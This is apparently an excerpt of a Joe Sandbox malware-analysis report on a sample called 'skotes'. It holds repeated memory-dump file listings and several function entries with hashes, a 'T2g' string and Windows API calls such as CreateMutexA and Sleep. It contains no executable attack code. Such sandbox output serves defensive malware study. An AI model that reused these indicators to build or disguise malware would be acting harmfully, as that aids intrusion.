Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 0520d48ca0a6add3012c27ef97fb0ef691316fdc9ed8dff5ba43621736ff16f4
Instruction ID: dd0666cd92100e0c969fba3fb049b926801c9169463bfb723ce94f6eb55136fa
Opcode Fuzzy Hash: 0520d48ca0a6add3012c27ef97fb0ef691316fdc9ed8dff5ba43621736ff16f4
Instruction Fuzzy Hash: 7C314A31A111009BEB08DBF8DC89BEDB773EF86310F288658E064A73D5D7369AC08752

Function 0061A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A2E6
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 9f070c900c0c0ad10e8447fd6e78818683694636698fe7e178b04b50de9dd382
Instruction ID: 2689ed3a140b332c7e78a755f9dc6526c5f1017cd2ed84eec0ba86ca9288a9c6
Opcode Fuzzy Hash: 9f070c900c0c0ad10e8447fd6e78818683694636698fe7e178b04b50de9dd382
Instruction Fuzzy Hash: B7312A31A112049BEB08DBB8DC857ECB773AF81314F288658E065E77D5C73699C08752

Function 0061A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A41B
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 1082183fa064e173c214b6ec29a755d9deab75e65a2ce42c4118cabe3559a8aa
Instruction ID: f2759d80204dad6a3c92e981e8b927c2e21b64a978eb6eac360990b328a5cb97
Opcode Fuzzy Hash: 1082183fa064e173c214b6ec29a755d9deab75e65a2ce42c4118cabe3559a8aa
Instruction Fuzzy Hash: CA310931A111049BEB08DBF8D8C9BEDB7A3DF81314F288658E0649B3D5D77599C08756

Function 0061A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A550
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: fc92cb02fea18cc0a845cda467f757b4b088220ca0b3bcc1b2ba4a847e5f7bcc
Instruction ID: eb94f8a937b8039a245393c25551fe8f10fb474535183a6f0d00d525becb5170
Opcode Fuzzy Hash: fc92cb02fea18cc0a845cda467f757b4b088220ca0b3bcc1b2ba4a847e5f7bcc
Instruction Fuzzy Hash: 48314C31A151048BEB08DBB8DDC9BECB763DFC5314F288658E0649B3D6D73599C08756

Function 0061A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A685
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 9b16c0b5ef4b84f8c3756dd4fbb5cdd67b59c05887cd4b68b1db131a0bc65ab4
Instruction ID: fdc577b58f30ec45401a3bf434bfe98dbc88ee68526af28f8ba90895cce6c57a
Opcode Fuzzy Hash: 9b16c0b5ef4b84f8c3756dd4fbb5cdd67b59c05887cd4b68b1db131a0bc65ab4
Instruction Fuzzy Hash: D0313B31A111049BEB08DBB8DD89BEDB773DB81314F288658E064DB3D5D7359AC08756

Function 0061A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A7BA
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
